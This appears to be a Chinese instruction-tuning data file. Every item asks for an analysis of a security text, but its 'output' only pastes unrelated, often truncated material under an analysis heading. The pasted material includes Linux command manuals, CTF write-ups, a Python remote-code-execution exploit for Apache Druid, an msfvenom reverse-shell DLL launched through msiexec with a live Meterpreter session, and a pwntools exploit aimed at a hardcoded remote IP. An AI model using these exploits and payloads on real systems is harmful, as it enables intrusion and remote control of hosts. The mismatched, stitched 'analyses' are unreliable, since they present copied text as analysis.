        * [第一课：windows提权-快速查找exp](Chapter1/1_windows提权-快速查找exp.md)
        * [第二课：Linux提权-依赖exp篇](Chapter1/2_Linux提权-依赖exp篇.md)
        * [第三课：Delphi代码审计--项目实战1](Chapter1/3_Delphi代码审计--项目实战1.md)
        * [第四课：Asp代码审计--项目实战2](Chapter1/4_Asp代码审计--项目实战2.md)
        * [第五课：工具介绍-Sqlmap](Chapter1/5_工具介绍-Sqlmap.md)
        * [第六课：反攻的一次溯源--项目实战3](Chapter1/6_反攻的一次溯源--项目实战3.md)
        * [第七课：sql server 常用操作远程桌面语句](Chapter1/7_sqlServer常用操作远程桌面语句.md)
        * [第八课：模拟诉求任务攻击](Chapter1/8_模拟诉求任务攻击.md)
        * [第九课：工具介绍-the-backdoor-factory](Chapter1/9_工具介绍-the-backdoor-factory.md)
        * [第十课：msfvenom常用生成payload命令](Chapter1/10_msfvenom常用生成payload命令.md)
    * [11-20课](Content/11-20.md)
        * [第十一课：工具介绍Veil-Evasion](Chapter1/11_工具介绍Veil-Evasion.md)
        * [第十二课：基于UDP发现内网存活主机](Chapter1/12_基于UDP发现内网存活主机.md)
        * [第十三课：基于ARP发现内网存活主机](Chapter1/13_基于ARP发现内网存活主机.md)
        * [第十四课：基于第十课补充payload1](Chapter1/14_基于第十课补充payload1.md)
        * [第十五课：基于第十课补充payload2](Chapter1/15_基于第十课补充payload2.md)
        * [第十六课：红蓝对抗渗透测试1](Chapter1/16_红蓝对抗渗透测试1.md)
        * [第十七课：红蓝对抗渗透测试2](Chapter1/17_红蓝对抗渗透测试2.md)
        * [第十八课：红蓝对抗渗透测试3](Chapter1/18_红蓝对抗渗透测试3.md)
        * [第十九课：基于netbios发现内网存活主机](Chapter1/19_基于netbios发现内网存活主机.md)
        * [第二十课：基于snmp发现内网存活主机](Chapter1/20_基于snmp发现内网存活主机.md)
    * [21-30课](Content/21-30.md)
        * [第二十一课：基于ICMP发现内网存活主机](Chapter1/21-30/21_基于ICMP发现内网存活主机.md)
        * [第二十二课：基于SMB发现内网存活主机](Chapter1/21-30/22_基于SMB发现内网存活主机.md)
        * [第二十三课：基于MSF发现内网存活主机第一季](Chapter1/21-30/23_基于MSF发现内网存活主机第一季.md)
        * [第二十四课：基于MSF发现内网存活主机第二季](Chapter1/21-30/24_基于MSF发现内网存活主机第二季.md)
        * [第二十五课：基于MSF发现内网存活主机第三季 ](Chapter1/21-30/25_基于MSF发现内网存活主机第三季.md)
        * [第二十六课：基于MSF发现内网存活主机第四季](Chapter1/21-30/26_基于MSF发现内网存活主机第四季.md)
        * [第二十七课：基于MSF发现内网存活主机第五季 ](Chapter1/2...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

dpkg-statoverride
===
Debian Linux中覆盖文件的所有权和模式
## 补充说明
**dpkg-statoverride命令** 用于Debian Linux中覆盖文件的所有权和模式，让dpkg于包安装时使得文件所有权与模式失效。
###  语法
```shell
dpkg-statoverride(选项)
```
###  选项
```shell
-add：为文件添加一个改写；
--remove：为文件删除一个改写；
--list：显示所有改写列表；
--update：如果文件存在，则立刻执行改写操作。
```
###  实例
修改文件夹的权限属性：
```shell
sudo dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios3
```
强制修改文件夹的权限属性：
```shell
sudo dpkg-statoverride --force --update --add root sasl 755 /var/spool/postfix/var/run/saslauthd
```
将文件从数据库中删除：
```shell
sudo dpkg-statoverride --remove /usr/bin/wall
```


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

groupmod
===
更改群组识别码或名称
## 补充说明
**groupmod命令** 更改群组识别码或名称。需要更改群组的识别码或名称时，可用groupmod指令来完成这项工作。
###  语法
```shell
groupmod(选项)(参数)
```
###  选项
```shell
-g<群组识别码>：设置欲使用的群组识别码；
-o：重复使用群组识别码；
-n<新群组名称>：设置欲使用的群组名称。
```
###  参数
组名：指定要修改的工作的组名。


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

import requests
import json
import click
import re
import sys
import logging
import hashlib
import binascii
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from urllib.parse import urljoin

logger = logging.getLogger('attacker')
logger.setLevel('WARNING')
ch = logging.StreamHandler(sys.stdout)
ch.setFormatter(logging.Formatter('%(asctime)s - %(message)s'))
logger.addHandler(ch)
choices = 'abcedf0123456789'
script_template = r'''const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
const Buffer = FunctionConstructor('return Buffer')()
const output = process.mainModule.require("child_process").execSync(Buffer.from('%s', 'hex').toString()).toString()
context.responseData = 'testtest' + output + 'testtest'
'''

def compute(passphase: str):
    nkey = 24
    niv = 16
    key = ''
    iv = ''
    p = ''

    while True:
        h = hashlib.md5()
        h.update(binascii.unhexlify(p))
        h.update(passphase.encode())
        p = h.hexdigest()

        i = 0
        n = min(len(p) - i, 2 * nkey)
        nkey -= n // 2
        key += p[i:i + n]
        i += n
        n = min(len(p) - i, 2 * niv)
        niv -= n // 2
        iv += p[i:i + n]
        i += n

        if nkey + niv == 0:
            return binascii.unhexlify(key), binascii.unhexlify(iv)

def aes_encode(data):
    key, iv = compute('abcde')
    padder = padding.PKCS7(128).padder()
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
    encryptor = cipher.encryptor()
    ct = encryptor.update(padder.update(data.encode()) + padder.finalize()) + encryptor.finalize()
    return binascii.hexlify(ct).decode()

def aes_decode(data):
    key, iv = compute('abcde')
    unpadder = padding.PKCS7(128).unpadder()
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
    decryptor = cipher.de...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Apache Druid Embedded Javascript Remote Code Execution (CVE-2021-25646)

[中文版本(Chinese version)](README.zh-cn.md)

Apache Druid is an open source, distributed data store that is designed for ingesting high volumes of data to provide instant data visibility, ad-hoc analytics and queries with low latency and high concurrency.

Apache Druid includes the ability to execute user-provided JavaScript code embedded in various types of requests. This functionality is intended for use in high-trust environments, and is disabled by default. However, in Druid 0.20.0 and earlier, it is possible for an authenticated user to send a specially-crafted request that forces Druid to run user-provided JavaScript code for that request, regardless of server configuration. This can be leveraged to execute code on the target machine with the privileges of the Druid server process.

References:

- <https://blogs.juniper.net/en-us/threat-research/cve-2021-25646-apache-druid-embedded-javascript-remote-code-execution>
- <https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw>

## Vulnerable Environment

Execute following command to start an Apache Druid server 0.20.0:

```
docker compose up -d
```

After server is started, you can see the home page of Apache Druid on `http://your-ip:8888`.

## Exploit

Send this request to the server:

```
POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json

{
    "type":"index",
    "spec":{
        "ioConfig":{
            "type":"index",
            "firehose":{
                "type":"local",
                "baseDir":"/etc",
                "filter":"passwd"
            }
        },
        "dataSchema":{
            "dataSource":"test",
            "parser":{
             ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

**注：**请多喝点热水或者凉白开，身体特别重要。
本季补充本地DLL加载
**Msiexec简介：**
Msiexec是Windows Installer的一部分。用于安装Windows Installer安装包（MSI）,一般在运行Microsoft Update安装更新或安装部分软件的时候出现，占用内存比较大。并且集成于Windows 2003，Windows 7等。
**说明：**Msiexec.exe所在路径已被系统添加PATH环境变量中，因此，Msiexec命令可识别。
### 基于白名单Msiexec.exe配置payload：
**注：x64 payload**
```bash
msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐ f dll > Micropoor_rev_x64_53.dll
```
### 配置攻击机msf：
**注：x64 payload**
```bash
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process,none)
LHOST 192.168.1.4 yes The listen address (an interface may be specified)
LPORT 53 yes The listen port
Exploit target:
Id Name
‐‐ ‐‐‐‐
0 Wildcard Target
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
```
![](media/62736d164fb64b1462810cfea7bd472c.jpg)
### 靶机执行：
```bash
msiexec /y C:\Users\John\Desktop\Micropoor_rev_x64_dll.dll
```
![](media/b8cbb9334f2281d8cd8f70052c2a02a9.jpg)
```bash
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (206403 bytes) to 192.168.1.5
[*] Meterpreter session 26 opened (192.168.1.4:53 ‐> 192.168.1.5:11543)
at 2019‐01‐20 09:45:51 ‐0500
meterpreter > getuid
Server username: John‐PC\John
meterpreter > getpid
Current pid: 7672
meterpreter >
```
![](media/84fb0dd629aae878607221e385dfff34.jpg)
>   Micropoor


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# HEEEEEEERE'S Johnny!
Cryptography, 100 points
## Description:
> Okay, so we found some important looking files on a linux computer. Maybe they can be used to get a password to the process. Connect with nc 2018shell3.picoctf.com 38860. Files can be found here: _passwd_ _shadow_.
## Solution:
We can use [John the Ripper](https://www.openwall.com/john/) to crack the password.
```console
root@kali:/media/sf_CTFs/pico/HEEEEEEERES_Johnny# cat passwd
root:x:0:0:root:/root:/bin/bash
root@kali:/media/sf_CTFs/pico/HEEEEEEERES_Johnny# cat shadow
root:$6$IGI9prWh$ZHToiAnzeD1Swp.zQzJ/Gv.iViy39EmjVsg3nsZlfejvrAjhmp5jY.1N6aRbjFJVQX8hHmTh7Oly3NzogaH8c1:17770:0:99999:7:::
```
First we use the `unshadow` utility to combine the `passwd` and `shadow` files and output them in the format of the traditional Unix password file:
```console
root@kali:/media/sf_CTFs/pico/HEEEEEEERES_Johnny# unshadow passwd shadow > input.txt
root@kali:/media/sf_CTFs/pico/HEEEEEEERES_Johnny# cat input.txt
root:$6$IGI9prWh$ZHToiAnzeD1Swp.zQzJ/Gv.iViy39EmjVsg3nsZlfejvrAjhmp5jY.1N6aRbjFJVQX8hHmTh7Oly3NzogaH8c1:0:0:root:/root:/bin/bash
```
Then we run `john` to try and crack the password:
```console
root@kali:/media/sf_CTFs/pico/HEEEEEEERES_Johnny# john input.txt
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Press 'q' or Ctrl-C to abort, almost any other key for status
password1        (root)
1g 0:00:00:01 DONE 2/3 (2018-10-08 23:22) 0.6666g/s 587.4p/s 587.4c/s 587.4C/s 123456..green
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali:/media/sf_CTFs/pico/HEEEEEEERES_Johnny# john input.txt --show
root:password1:0:0:root:/root:/bin/bash
1 password hash cracked, 0 left
```
The password is **password1**.
Now we can connect to the remote h...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

---
title: DNSRecon
categories: Information Gathering
tags: [kali linux,dnsrecon,information gathering,recon,dns]
date: 2016-10-21 06:00:00
---
0x00 DNSRecon介绍
-------------
DNSRecon提供一下功能：
```plain
检查域传送的所有NS记录
枚举给定域的一般DNS记录（MX，SOA，NS，A，AAAA，SPF和TXT）
执行常见的SRV记录枚举，顶级域名（TLD）扩展
支持通配符
蛮力穷举给定一个域和一个域名列表子域和主机A记录和AAAA记录
对给定的IP范围或CIDR执行PTR记录查找
检查DNS服务器A，AAAA和CNAME记录的缓存记录
枚举本地网络中的常见mDNS记录枚举主机并使用Google搜索子域
```
工具来源： DNSRecon README
[DNSRecon 主页][1] | [Kali DNSRecon Repo仓库][2]
 - 作者：Carlos Perez
 - 证书：GPLv2
[DNSRecon视频介绍][3]
0x01 DNSRecon功能
---------------
dnsrecon - 一个强大的DNS枚举脚本
```shell
选项:
-n, --name_server
-D, --dictionary
-f 过滤掉保存记录时解析为通配符定义的IP地址
root@kali:~# dnsrecon
Version: 0.8.10
Usage: dnsrecon.py <options>
Options:
   -h, --help                   显示帮助信息并退出
   -d, --domain      <domain>   枚举的域目标
   -r, --range       <range>    用于蛮力穷举反向查找IP范围，形式可以为（开始IP-结束IP）或（范围/掩码）
   -n, --name_server <name>     要使用域服务器，如果没有给定将使用目标的SOA
   -D, --dictionary  <file>     用于蛮力穷举子域和主机名的字典文件。
   -f                           过滤掉穷举域查找结果，保存记录时解析到通配符定义的IP地址的记录
   -t, --type        <types>    枚举类型:
                                std       查询SOA，DNS，A，AAAA，MX和SRV记录（如果NS服务器的AXFR请求失败）
                                rvl       反向查找给定CIDR或IP范围
                                brt       使用给定字典文件蛮力穷举域名和主机
                                srv       SRV记录
                                axfr      测试所有NS服务器的域传送
                                goo       Google搜索子域和主机
                                snoop     对给定域的所有NS服务器执行缓存侦听，使用包含域的文件测试所有的服务器，                  使用-D选项提供文件
                                tld       删除给定域的TLD并针对在IANA中注册的所有TLD进行测试
                                zonewalk  使用NSEC记录执行DNSSEC域漫游
   -a                           执行AXFR进行标准枚举
   -s                           使用标准枚举对SPF记录中的IPv4范围执行反向查找。
   -g                           通过Google搜索执行标准的枚举
   -w                           在进行标准枚举时，通过Whois执行深度whois记录分析和反向查找IP范围
   -z                           使用标准枚举形式执行DNSSEC域漫游
   --threads         <num...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# web
## 找色差吗?
查看js代码
F12，控制台输入语句
```js
var _0x268d05 = { 'vFYyb': _0x2f2b('0x1983', 'vXeU'), 'rshMS': function _0x593385(_0x36599a, _0x5f41b7) { return _0x36599a / _0x5f41b7; }, 'xWQRG': function _0x337c99(_0x53c811, _0xe4afa4) { return _0x53c811 - _0xe4afa4; }, 'ZuQxI': function _0x242b7d(_0x4e358a, _0xbefac3) { return _0x4e358a * _0xbefac3; }, 'DCMCO': function _0x1e5dd4(_0x577f5a, _0x2dafd8) { return _0x577f5a > _0x2dafd8; }, 'bPzve': function _0x49960b(_0x43d8c9, _0x3dd75e) { return _0x43d8c9 === _0x3dd75e; }, 'GFiYI': function _0x1a3caa(_0x167948, _0x13fa0c, _0x580fa8) { return _0x167948(_0x13fa0c, _0x580fa8); }, 'rQJbg': _0x2f2b('0x1984', 'F8QA'), 'fwSPi': function _0xbc327(_0x3da5ce, _0x3e3e3c) { return _0x3da5ce(_0x3e3e3c); }, 'GkSez': '4|3|1|0|2', 'UVjif': _0x2f2b('0x1985', ']Z3^'), 'TQMlf': function _0x3c2939(_0x30791e, _0x108e7b) { return _0x30791e > _0x108e7b; } };
var _0x60a0ea = _0x268d05[_0x2f2b('0x1999', '6T2X')];
console['log'](strEnc('find_different_blocks', _0x60a0ea, '8c4f1', 'faf82'));
```
输出的字符串 md5
21E7AE40B06B28439D031D6848F6E5736B28CA5D50DB89BC34468C8195AC002AB593117A1BDAEA972B8C223883FA6443
得到flag
84673edf8a1ab819dadfdb5da4f41cfe
---
## easy upload
上传时进行 FUZZ,发现可以上传pht后缀的文件，上传一个一句话，蚁剑连接，查看flag
赛后看了下官方writeup,好像是非预期解
官方解法是
- 发现存在 index.php~文件，下载得到部分源码
- 经过一番上传测试之后发现文件名中只要含有 php 及其他 php 文件后缀就无法上传
- 但是发现只要不是 php 即可上传，同时由部分源码得知存在 ORZ 类，该类的析构函数会输出 flag
- 同时由源码得，虽然存在 ORZ 类，但是没有反序列化操作，而是将传入 filename 参数会被带入
file_get_contents 中执行。这里可以想到利用 phar://协议和文件上传来进行反序列化。
- 通过如下 php 代码生成 phar 格式文件（注意：要将 php.ini 中的 phar.readonly 选项设置为 Off，
否则无法生成 phar 文件），然后上传至服务器
    ```php
    <?php
        class ORZ{
            public function __destruct(){
            }
        }
        #unlink("phar.phar");
        $phar=new Phar("phar.phar");
        $phar->startBuffering();
        $phar->setStub("GIF89a"."<?php _HALF_COMPILER(); ?>");
        $o = new ORZ();
        $phar->setMetadata($o);
        $phar->addFromString("test.txt","test");
        $phar->stopBuffering(...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

ipcrm
===
删除消息队列、信号集、或者共享内存标识
## 补充说明
**ipcrm命令** 用来删除一个或更多的消息队列、信号量集或者共享内存标识。
###  语法
```shell
ipcrm [ -m SharedMemoryID ] [ -M SharedMemoryKey ] [ -q MessageID ] [ -Q MessageKey ] [ -s SemaphoreID ] [ -S SemaphoreKey ]
```
###  选项
```shell
-m SharedMemory id 删除共享内存标识 SharedMemoryID。与 SharedMemoryID 有关联的共享内存段以及数据结构都会在最后一次拆离操作后删除。
-M SharedMemoryKey 删除用关键字 SharedMemoryKey 创建的共享内存标识。与其相关的共享内存段和数据结构段都将在最后一次拆离操作后删除。
-q MessageID 删除消息队列标识 MessageID 和与其相关的消息队列和数据结构。
-Q MessageKey 删除由关键字 MessageKey 创建的消息队列标识和与其相关的消息队列和数据结构。
-s SemaphoreID 删除信号量标识 SemaphoreID 和与其相关的信号量集及数据结构。
-S SemaphoreKey 删除由关键字 SemaphoreKey 创建的信号标识和与其相关的信号量集和数据结构。
```
msgctl、shmctl 和 semctl 子例程提供了删除操作的细节。标识和关键字可以用 ipcs 命令找到。
###  示例
如果要删除和 SharedMemoryID 18602 相关的共享内存段，请输入：
```shell
ipcrm -m 18602
```


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# BSidesSF CTF 2018
Team: shalom, nazywam, chivay
### Table of contents
* [Rotaluklak (pwn)](pwn_rotaluklak)


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# shellcode
Binary Exploitation, 200 points
## Description:
> This program executes any input you give it. Can you get a shell?
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
void vuln(char *buf){
  gets(buf);
  puts(buf);
}
int main(int argc, char **argv){
  setvbuf(stdout, NULL, _IONBF, 0);
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  char buf[BUFSIZE];
  puts("Enter a string!");
  vuln(buf);
  puts("Thanks! Executing now...");
  ((void (*)())buf)();
  return 0;
}
```
## Solution:
We'll use pwntools' "shellcode" module to generate a shellcode:
```python
from pwn import *
import argparse
import os
EXECUTABLE = "vuln"
LOCAL_PATH = "./"
REMOTE_PATH = "/problems/shellcode_0_48532ce5a1829a772b64e4da6fa58eed/"
SSH_SERVER = "2018shell3.picoctf.com"
def get_process_path(is_ssh = False):
    if is_ssh or os.path.exists(REMOTE_PATH):
        return REMOTE_PATH + EXECUTABLE
    else:
        return LOCAL_PATH + EXECUTABLE
def get_process(ssh_user = None):
    is_ssh = ssh_user is not None
    path = get_process_path(is_ssh)
    params = {"argv": path, "cwd": os.path.dirname(path)}
    if is_ssh:
        s = ssh(host=SSH_SERVER, user=ssh_user)
        p = s.process(**params)
    else:
        p = process(**params)
    return p
parser = argparse.ArgumentParser()
parser.add_argument("-s", "--ssh_user", help="Connect via SSH with the given username")
args = parser.parse_args()
context.binary = get_process_path()
p = get_process(args.ssh_user)
shellcode = shellcraft.sh()
print "Shellcode:"
print shellcode
payload = asm(shellcode)
p.sendlineafter("Enter a string!", payload)
p.interactive()
```
Output:
```console
root@kali:/media/sf_CTFs/pico/shellcode# python exploit.py --ssh_user=$pico_ssh_user
[*] '/media/sf_CTFs/pico/shellcode/vuln'
    Arch:     i386-32-little
    RELRO:    ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

lpr
===
将文件发送给指定打印机进行打印
## 补充说明
**lpr命令** 用于将文件发送给指定打印机进行打印，如果不指定目标打印机，则使用默认打印机。
###  语法
```shell
lpr(选项)(参数)
```
###  选项
```shell
-E：与打印服务器连接时强制使用加密；
-H：指定可选的打印服务器；
-C：指定打印任务的名称；
-P：指定接受打印任务的目标打印机；
-U：指定可选的用户名；
-#：指定打印的份数；
-h：关闭banner打印；
-m：打印完成后发送E-mail；
-r：打印完成后删除文件。
```
###  参数
文件：需打印的文件。
###  实例
将man1和man2送到打印机lp进行打印：
```shell
lpr -P lp man1 man2
```


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 计算机网络 - 概述

* [计算机网络 - 概述](#计算机网络---概述)
    * [网络的网络](#网络的网络)
    * [ISP](#isp)
    * [主机之间的通信方式](#主机之间的通信方式)
    * [电路交换与分组交换](#电路交换与分组交换)
        * [1. 电路交换](#1-电路交换)
        * [2. 分组交换](#2-分组交换)
    * [时延](#时延)
        * [1. 排队时延](#1-排队时延)
        * [2. 处理时延](#2-处理时延)
        * [3. 传输时延](#3-传输时延)
        * [4. 传播时延](#4-传播时延)
    * [计算机网络体系结构](#计算机网络体系结构)
        * [1. 五层协议](#1-五层协议)
        * [2. OSI](#2-osi)
        * [3. TCP/IP](#3-tcpip)
        * [4. 数据在各层之间的传递过程](#4-数据在各层之间的传递过程)

## 网络的网络
网络把主机连接起来，而互连网（internet）是把多种不同的网络连接起来，因此互连网是网络的网络。而互联网（Internet）是全球范围的互连网。

## ISP
互联网服务提供商 ISP 可以从互联网管理机构获得许多 IP 地址，同时拥有通信线路以及路由器等联网设备，个人或机构向 ISP 缴纳一定的费用就可以接入互联网。

目前的互联网是一种多层次 ISP 结构，ISP 根据覆盖面积的大小分为第一层 ISP、区域 ISP 和接入 ISP。互联网交换点 IXP 允许两个 ISP 直接相连而不用经过第三个 ISP。

## 主机之间的通信方式
- 客户-服务器（C/S）：客户是服务的请求方，服务器是服务的提供方。

- 对等（P2P）：不区分客户和服务器。

## 电路交换与分组交换
### 1. 电路交换
电路交换用于电话通信系统，两个用户要通信之前需要建立一条专用的物理链路，并且在整个通信过程中始终占用该链路。由于通信的过程中不可能一直在使用传输线路，因此电路交换对线路的利用率很低，往往不到 10%。
### 2. 分组交换
每个分组都有首部和尾部，包含了源地址和目的地址等控制信息，在同一个传输线路上同时传输多个分组互相不会影响，因此在同一条传输线路上允许同时传输多个分组，也就是说分组交换不需要占用传输线路。
在一个邮局通信系统中，邮局收到一份邮件之后，先存储下来，然后把相同目的地的邮件一起转发到下一个目的地，这个过程就是存储转发过程，分组交换也使用了存储转发过程。
## 时延
总时延 = 排队时延 + 处理时延 + 传输时延 + 传播时延
<div align="center"...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Heap Spray
**堆喷射**（heap spraying）指的是一种辅助攻击手法：「**通过大量分配相同的结构体来达成某种特定的内存布局**，从而帮助攻击者完成后续的利用过程」，常见于如下场景：
- 你有一个 UAF，但是**你无法通过少量内存分配拿到该结构体**（例如该 object 不属于当前 freelist 且释放后会回到 node 上，或是像 `add_key()` 那样会被一直卡在第一个临时结构体上），这时你可以**通过堆喷射来确保拿到该 object**。
- 你有一个堆溢出读/写，但是**堆布局对你而言是不可知的**（比如说开启了 `SLAB_FREELIST_RANDOM`（默认开启）），你可以**预先喷射大量特定结构体，从而保证对其中某个结构体的溢出**。
- ......
作为一种辅助的攻击手法，堆喷射可以被应用在多种场景下。
## 例题：RWCTF2023体验赛 - Digging into kernel 3
> 本篇为了介绍堆喷射这一手法，同时为了使用更多不同的结构体，**笔者会用比较复杂的思路去解题**。
### 题目分析
按惯例查看启动脚本，发现开启了 SMEP、SMAP、KASLR、KPTI：
```bash
#!/bin/sh
qemu-system-x86_64 \
	-m 128M \
	-nographic \
	-kernel ./bzImage \
	-initrd ./rootfs.img \
	-enable-kvm \
	-cpu kvm64,+smap,+smep \
	-monitor /dev/null \
	-append 'console=ttyS0 kaslr kpti=1 quiet oops=panic panic=1 init=/init' \
	-no-reboot \
	-snapshot \
	-s
```
文件系统里给了一个 `rwctf.ko` ，拖入 IDA 进行分析，发现只定义了一个 ioctl，提供了两个功能：
- 0xDEADBEEF：分配一个**任意大小**的 object 并能写入数据，分配 flag 为 `__GFP_ZERO | GFP_KERNEL`，不过我们只能同时有两个 object。
- 0xC0DECAFE：释放一个之前分配的 object ，**存在 UAF**。
我们需要传入如下结构体：
```c
struct node {
    uint32_t idx;
    uint32_t size;
    void *buf;
};
```
经过笔者测试，出题人**手动关闭了如下默认开启的保护**（出题人为了降低题目难度，可能关的更多，笔者只测了这几个）：
- 关闭了 `CONFIG_MEMCG_KMEM`，这使得`GFP_KERNEL` 与 `GFP_KERNEL_ACCOUNT` 会从同样的 `kmalloc-xx` 中进行分配
- 关闭了 `CONFIG_RANDOMIZE_KSTACK_OFFSET`，这使得固定函数调用到内核栈底的偏移值是不变的
- 关闭了 `SLAB_FREELIST_HARDENED`，这使得 freelist 几乎没有任何保护，我们可以轻易完成任意地址分配 + 任意地址读写
不过在笔者看来 _出题人其实没有必要自降难度_ ，下面笔者将给出在这三种保护开启时也能完成利用的方法 ：）
### 漏洞利用
既然题目中已经直接白给出了一个无限制的 UAF，那么利用方式就是多种多样的了，这里笔者选择使用 [user\_key\_payload](https://arttnba3.cn/2021/11/29/PWN-0X02-LINUX-KERNEL-PWN-PART-II/#0x0A-%E5%86%85%E6%A0%B8%E5%AF%86%E9%92%A5%E7%AE%A1%E7%90%86%EF%BC%9A%E5%86%85%E6%A0%B8%E4%B8%AD%E7%9A%84%E2%80%9C%E8%8F%9C%E5%8D%95%E5%A0%86%E2%80%9D) 来完成利用。
#### Step.I - 堆喷 user\_key\_payload 越界读泄露内核基地址
在内核当中存在一个用于密钥管理的子系统，内核提供了 `add_key()` 系统调用进行密钥的创建，并提供了 `keyctl()` 系统调用进行密钥的读取、更新、销毁等功能：
```c
        #include <sys/types.h>
        #include <keyutils.h>
        key_serial_t add_key(const char *type, const cha...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Three Days of Darkness
## Description
> > “Then the Lord said to Moses, ‘Stretch out your hand toward heaven, that there may be darkness over the land of Egypt, darkness which may even be felt.’ So Moses stretched out his hand toward heaven, and there was thick darkness in all the land of Egypt three days” (Exodus 10:21-22).
>
> Adjust your eyes for the darkness is here, Don't get lost, may the path will appear. Remember to search for what was vanished. You need to hurry in order to be banished.
An `E01` file was attached.
## Solution
What's an `E01` file?
> The E01 file extension stands for EnCase image file format used by EnCase software. The file is used to store digital evidence including volume images, disk image, memory and logical files.
We can use a tutorial such as [this one](https://dfir.science/2022/05/Linux-Forensics-on-Linux-Cyber5W-CTF-Walkthrough) to mount the image file on Linux and browse the different files, but all we can find is tons of `FLAGx.txt` files with false flag. If we open the image with `autopsy` on the other hand, we get access to additional deleted folders which weren't accessible previously:
![](images/autopsy.png)
The flag file is the only large file among them. The flag is displayed in ASCII art to prevent grepping for it:
```
       (       *               )                                       )     )  (
   (   )\ )  (  `      (    ( /(        *   )          (     (      ( /(  ( /(  )\ )
 ( )\ (()/(  )\))(     )\   )\())     ` )  /(    (     )\    )\     )\()) )\())(()/(
 )((_) /(_))((_)()\  (((_) ((_)\       ( )(_))   )\  (((_)((((_)(  ((_)\ ((_)\  /(_))
((_)_ (_))  (_()((_) )\___  _((_)   __(_(_()) _ ((_) )\___ )\ _ )\  _((_) _((_)(_)) __
 | _ )/ __| |  \/  |((/ __|| || |  / /|_   _|| | | |((/ __|(_)_\(_)| \| ||_  / |_ _|\ \
 | _ \\__ \ | |\/| | | (__ | __ |_| |   | |  | |_| | | (__  / _ \  | .` | / /   | |  | |_
 |___/|___/ |_|  |_|  \___||_||_| | |   |_|   \___/   \___|/_/ \_\ |_|\_|/___|...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#!/usr/bin/python3

from pwn import *

def exploit(connection):
    def recv_request():
        request_id = u64(connection.recvn(8))
        data = connection.recvn(0x20)
        return request_id, data

    def send_response(request_id, data):
        connection.send(p64(request_id))
        if len(data) != 0x20:
            raise Exception
        connection.send(data)

    count = 0x10
    requests = list()
    for _ in range(count):
        request_id, data = recv_request()
        requests.append((request_id, data))

    first_va, _ = requests[0]
    second_va, _ = requests[1]
    if first_va - second_va != 0x40:
        raise NotImplementedError()

    # Write first fake `hash_rpc_context` structure to server heap

    buffer = BytesIO()
    buffer.write(b"A" * 8)
    buffer.write(p64(0x6861736822686f6d))
    buffer.write(p64(2))
    buffer.write(p64(0))
    send_response(second_va, buffer.getvalue())

    recv_request()

    # Write second fake `hash_rpc_context` structure to server heap

    buffer = BytesIO()
    buffer.write(b"B" * 8)
    buffer.write(p64(0x6861736822686f6d))
    buffer.write(p64(2))
    buffer.write(p64(first_va - count * 0x40 - 0x18))
    send_response(second_va + 0x20, buffer.getvalue())

    recv_request()

    # Zeroize `data_to_hash`

    send_response(first_va, b"\x00" * 0x20)

    recv_request()

    # Trigger `hash_together_the_first_two`

    send_response(first_va, b"C" * 0x20)

    _, data = recv_request()

    info("flag = %s", data.rstrip(b"\x00"))

context.log_level = "debug"
with remote("35.230.128.35", 1337) as connection:
    exploit(connection)


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

## 一、本地文件包含
文件包含漏洞的产生原因是在通过引入文件时，由于传入的文件名没有经过合理的校验，或者校检被绕过，从而操作了预想之外的文件，就可能导致意外的文件泄露甚至恶意的代码注入。当被包含的文件在服务器本地时，就形成的本地文件包含漏洞。
